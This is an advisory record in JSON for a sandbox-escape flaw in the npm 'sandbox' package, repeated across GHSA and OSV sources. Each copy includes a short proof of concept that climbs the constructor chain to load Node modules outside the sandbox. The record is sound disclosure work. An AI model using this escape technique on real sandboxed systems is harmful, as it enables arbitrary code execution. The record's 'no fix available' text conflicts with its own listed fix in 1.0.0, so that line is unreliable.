{"id":"GHSA-fm4j-4xhm-xpwx","aliases":[],"status":"published","title":"Sandbox Breakout / Arbitrary Code Execution in sandbox","description":"All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"published":"2020-09-02T15:51:34Z","modified":"2026-02-03T17:47:49Z","fixes":[{"ecosystem":"npm","package":"sandbox","fixed_in":["1.0.0"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sandbox","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.0"},{"fixed":"1.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"sandbox","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}]}],"references":[{"url":"https://github.com/gf3/sandbox/issues/50","tags":["web"]},{"url":"https://www.npmjs.com/advisories/766","tags":["web"]},{"url":"https://github.com/advisories/GHSA-fm4j-4xhm-xpwx"}],"sources":{"ghsa":[{"id":"GHSA-fm4j-4xhm-xpwx","title":"Sandbox Breakout / Arbitrary Code Execution in sandbox","description":"All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","status":"published","published":"2020-09-02T15:51:34Z","modified":"2026-02-02T23:13:22Z","updated_at":"2026-11-02T14:39:21.558748Z"}],"osv":[{"id":"GHSA-fm4j-4xhm-xpwx","title":"Sandbox Breakout / Arbitrary Code Execution in sandbox","description":"All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","status":"published","published":"2020-09-02T15:51:34Z","modified":"2026-02-03T17:47:49.048558Z","updated_at":"2026-11-02T15:46:46.760785Z"}]}}
